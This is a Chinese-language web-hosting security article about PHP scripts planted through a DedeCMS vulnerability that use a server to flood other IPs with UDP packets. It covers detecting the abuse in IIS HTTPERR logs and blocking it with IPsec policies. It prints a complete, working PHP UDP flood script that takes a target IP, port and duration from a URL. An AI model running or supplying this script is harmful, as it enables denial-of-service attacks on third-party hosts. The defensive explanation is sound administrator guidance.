一、php對外發包分析
用php代碼調用sockets,直接用服務器的網絡攻擊別的IP,常見代碼如下:
代碼如下:
$packets = 0;
$ip = $_GET[/'ip/'];
$rand = $_GET[/'port/'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[/'time/'];
$time = time();
print /"Flooded: $ip on port $rand
/";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= /"X/";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(/"udp://$ip/", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo /"Packet complete at /".time(/'h:i:s/')./" with
$packets (/" . round(($packets*65)/1024, 2) . /" mB) packets averaging /".
round($packets/$exec_time, 2) . /" packets/s //n/";
?>
二、表現特征
一打開IIS,服務器的流出帶寬就用光-----就是說服務器不斷向別人發包,這個情況和受到DDOS攻擊是不同的,DDOS是服務器不斷收到大量數據包.
近期由于DEDECMS出現漏洞而導致大量服務器出現這個問題.
如何快速找到這些站?
你可以打開日志
C:/Windows/System32/LogFiles/HTTPERR/httperr...log,打開今天時間的文件,
里面有類似這樣的記錄:
2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1
最后三項 783 Disabled 30_FreeHost_1
783就是這個站在IIS中的ID
30_FreeHost_1就是所在池
三、解決辦法
1.按上述找到這個網站后停止它.或停止池,并重啟IIS.
2.在IP策略,或防火墻中,禁止所有udp向外發送
在星外最新版本的安全包中，已帶有4.0版本的ＩＰ策略【下載safe包】，您導入后就直接可以限制了外發的ＵＤＰ包。下載這個包，之后導入安全策略。但這個策略并沒有關閉DNS端口,部分攻擊還是有效.
為了解決這個問題,你也可以調整IP策略,限制udp只能訪問特定的DNS服務器IP,如8.8.8.8,除非黑客攻擊這個IP,不然攻擊也是無效的,你可以在網卡DNS中設置一個你才知道的DNS IP,并且不要公開,然后調用IP策略中的udp open部分就可以解決.(打開IP策略的屬性,雙擊open,將open中的兩條udp記錄刪除任意一條,在保留的這條中,雙擊,改成 地址 從源地址 任何地址 到目標地址 "特定IP 這個IP就是設置為你自己的DNS IP,如8.8.8.8" 保存后就行了 )
在2011-4-27,我們上傳了新的安全包,里面有一個"星外虛擬主機管理平臺IP策略關閉所有UDP端口用.ipsec"文件,您可以導入它并啟用,就可以關閉所有udp端口,就可以完全防止這類攻擊,但是,這個策略由于關閉了DNS端口,會造成的這臺服務器上無法用IE訪問任何域名,因此,用戶的采集功能也就用不了.(同樣,如果在主控網站上用了這個策略,就會造成的受控自檢不通過,因為解析不了域名,另外,部分用戶反映此策略會造成的mysql不正常)
